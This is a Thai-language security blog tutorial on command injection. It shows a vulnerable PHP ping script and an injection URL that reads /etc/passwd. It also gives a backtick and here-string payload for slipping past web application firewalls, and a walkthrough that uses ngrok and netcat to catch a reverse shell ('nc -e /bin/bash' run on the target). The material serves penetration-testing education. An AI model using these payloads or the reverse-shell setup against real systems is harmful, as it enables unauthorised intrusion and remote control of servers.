COMMAND INJECTION

COMMAND INJECTION
ในส่วนนี้จะพูดถึงเรื่องการโจมตีที่เรียกว่า Command Injection โดยในตัวอย่างนี้้จะยกตัวอย่าง code เป็น
<?php
   if (isset($_GET["target"]))
   {
    $target=$_GET["target"];
    exec("/bin/ping -c 3 ".$target,$pingresult, $stats);
    foreach($pingresult as $line)
    {
     print $line.'<br>



';
    }
   }
?>
จาก source code จะเห็นว่า exec() นั้นมีการรับ input เป็นตัวแปร target แล้วนำไปเป็น input ใน exec() ซึ่งเราสามารถควบคุมค่าของ target ได้ โดยในที่นี้เราจะ exploit โดยการใส่ target เป็น 127.0.0.1 และใช้งานตัว separator (ตัวที่ขั้นระหว่าง command) เป็น && พร้อมกับแนบ command cat /etc/passwd เข้าไป จะได้ออกมาเป็น
http://www.example.com/ping.php?target=127.0.0.1&&cat /etc/passwd
เมื่อ Web Application ได้รับตัวแปร target ก็จะไปทำการอ่านไฟล์ /etc/passwd พร้อมกับนำผลลัพธ์มาแสดงที่หน้าจอ

ตัว separator แต่ละตัวมีความหมายที่แตกต่างกัน



OperatorsDescription
;ใช้สำหรับการแยก command แต่ละตัว เป็นตัวที่มักถูกใช้ในการทำ command injection อยู่บ่อยๆ
&ใช้สำหรับการสั่งคำสั่งหลายๆคำสั่งในทีเดียว โดยให้แต่ละคำสั่งรันเป็นเป็นแบบ backgroud process
&&ใช้สำหรับการรันที่ต่อกัน หากคำสั่งแรก(ที่อยู่ด้านหน้า)รันไม่สำเร็จ จะไม่มีการสั่งรันคำสั่งที่ 2
|| ใช้สำหรับการรันคำสั่งที่ 2 เมื่อคำสั่งด้านหน้าทำงานไม่สำเร็จเท่านั้น หากคำสั่งแรกทำงานสำเร็จจะไม่มีการรันคำสั่งที่ 2
| ( Linux)ใช้สำหรับการนำค่าผลลัพธ์ของคำสั่งแรกไปใช้เป็น input ของคำสั่งที่ 2
ตัว unquote character ใช้เพื่อบังคับให้ shell นั้นรัน command แล้วนำส่วนที่อยู่ใน ‘’ ทั้งหมด เป็น input ของ command
()ใช้เพื่ออ้างอิงผลลัพธ์ของ command ทั้งอัน
#ใช้เพื่อ comment command line
*หมายเหตุ บางครั้งมีการใช้งาน `(backticks) คู่กับ ‘ เพื่อทำการ bypass Web Application Firewall อย่างเช่น 

uname`cat<<<'?="\x20"?'|php`-a 

ผลที่ได้ออกมาคือคำสั่ง “uname -a” เพราะเนื่องด้วยคำสั่งดังกล่าวจะแยกย่อยออกมาเป็น
uname
`cat<<<
'?="\x20"?'
|php`
-a
 โดยถ้าดูที่ '?="\x20"?' ซึ่งเป็น input แบบ here-string (<<<) ของ cat จะได้ว่าเป็นการ input cat ให้ print ?="\x20"? นั่นเอง จากนั้น php จะเอา string ที่เป็น ?="\x20"? ไปอ่านอีกที โดยก็จะได้ออกมาเป็นการพิมพ์ ‘ ‘ (space) นั่นเอง (\x20 = hex 20 = 32 = space.) จากนั้นก็จะเอา ผลลัพธ์ของ php ไปเป็นผลลัพธ์ที่อยู่ตรงกลางระหว่าง uname -a นั่นเอง
 อันนี้เป็นอีกแบบนึงคือ uname`cat<<<'?="\x20\x2d\x61"?'|php` ก็คือเอา -a ไปอยู่ในส่วนของ code ของ php แทนนั่นเอง เมื่อ php ประมวลผลเสร็จ ก็จะออกมาเป็น uname -a เช่นกัน*

ปัญหาใน Reverse Shell x Bind Shell

จริงๆแล้วความหมายของ Reverse Shell และ Bind Shell นั้นจำกัดความง่ายมากครับ เมื่อเราสามารถทำการโจมตีไปยังเครื่องเป้าหมายได้สำเร็จ เราก็ต้องการจะควบคุมเครื่องนั้นๆใช่มั้ยครับ ซึ่งการจะควบคุมเครื่องนั้นๆได้มันก็จำเป็นที่เราจะต้องเชื่อมต่อไปยังเครื่องดังกล่าว โดยการเชื่อมต่อดังกล่าวนั้นก็มี 2 แบบคือ ไม่เราติดต่อไปหาผ่าน backdoor ที่สร้างไว้ (Bind Shell) ก็เป็นที่สั่งให้เครื่องดังกล่าวติดต่อกลับมายังเครื่องของเรา (Reverse Shell) นั่นเอง
ซึ่งพอเป็นภาพแบบนั้นเราจะเห็นว่าทั้ง 2 แบบนั้นมีปัญหาที่แตกต่างกันคือถ้าเป็น Bind Shell จะมีปัญหาคือเราจะทราบได้ไงว่า Firewall ขององค์กรหรือเป้าหมายนั้นๆจะอนุญาตให้เข้าถึงผ่าน port อะไรบ้าง หรือจะมี port ไหนบ้างที่มีการ forward ไปยังเครื่องเป้าหมายได้บ้าง นั่นคือทำไมส่วนใหญ่มักจะไม่ใช้ Bind Shell เพราะมันยากที่เราจะสร้าง Backdoor Listener แล้วสามารถเข้าถึงได้จากภายนอกได้นั่นเอง
อีกฝั่งนึงคือ Reverse Shell ก็จะเป็นปัญหาอีกแบบคือ การที่เราจะทราบได้ยังไงว่าเครื่องเป้าหมายที่เราโจมตีสำเร็จนั้นสามารถเชื่อมต่อออกมายังช่องทางไหนได้บ้าง ซึ่งไอ้ปัญหานี้มันก็พอจะเดาได้ง่ายๆหน่อย เช่น 53 สำหรับ DNS, 443 สำหรับการ download update ใดๆ เป็นต้น และอีกปัญหาหนึ่งที่มีคือ Reverse Shell นั้นเครื่องเป้าหมายจะต้องสามารถเชื่อมต่อไปยังเครื่องของเราได้ ซึ่งหากเครื่องเราอยู่ในระบบ LAN หลัง router บ้านมันก็ไม่สามารถที่จะเชื่อมต่อถึงกันได้
ngrok1-1.png
จากภาพจะเห็นว่าหากเราเริ่มทำการเชื่อมต่อจาก 223.223.223.223 (เป็น IP ตัวอย่างนะครับ) จะไม่รู้หรอกว่าไอ้ 192.168.255.10 หรือก็คือเครื่องของฝั่งโจมตีน่ะมันอยู่ที่ไหน นั่นคือปัญหาใหญ่เลย โดยเราอาจจะระบุให้เครื่อง 223.223.223.223 ติดต่อไปยังเครื่อง 61.61.61.61 แล้วทำ port forwarding บน Router ของที่บ้านก่อนส่งไปถึง 192.168.255.10 ถึงจะเชื่อมต่อได้ ซึ่งแน่นอนว่ามันก็เป็นเรื่องที่ทำได้แต่ยุ่งยากมากมาย เลย นี่ยังไม่รวมว่าถ้าเครื่อง Pentester นั้นอยู่ในองค์กร มันยิ่งยากขึ้นไปอีกที่จะไปยุ่งเรื่องการทำ port forwarding แบบนั้นครับ

Ngrok ตัวช่วยเพื่อทำ reverse shell ผ่าน internet

จากเว็บไซด์ของ Ngrok จะเขียนว่า “Ngrok exposes local servers behind NATs and firewalls to the public internet over secure tunnels.” หรือก็คือ “Ngrok เป็นตัวที่จะช่วยให้เราสามารถเข้าถึง local server ที่อยู่ข้างหลัง NAT และ Firewall ได้ผ่าน Internet ภายใต้ secure tunnel
โดยเราสามารถใช้งานได้ตามนี้ครับ
  • เข้าไปสมัครใน https://ngrok.com
  • เมื่อ signup แล้ว ให้ทำการ login จะพบ instruction ในการใช้งานครับ
Screen-Shot-2562-02-10-at-11.00.01.png
  • Download client
  • Unzip client
  • Connect ไปยัง Ngrok server
    • ./ngrok authtoken <Token ที่พบใน Dashboard หลังจาก login>
Screen-Shot-2562-02-10-at-11.21.58.png
  • สร้าง Listener รอรับ Reverse Shell ขึ้นมา
    • nc -lvp 4444
  • ใช้ ngrok ในการเปิดเผย port 4444 ของเรากับภายนอก
    • ./ngrok tcp 4444
Screen-Shot-2562-02-10-at-11.08.21-1.png
  • กลับมาที่เครื่อง Server ปลายทางทำการรันให้เชื่อมต่อไปยัง Server ที่ระบุไว้ใน Forwarding ที่เราเห็นในขั้นตอนก่อนหน้านี้ครับ
    • nc -nv <Domain> 14428 -e /bin/bash
  • เสร็จแล้วเราจะได้ shell เรียบร้อยครับ
Screen-Shot-2562-02-10-at-11.16.29.png
Screen-Shot-2562-02-10-at-11.16.35.png

Comments

Popular Posts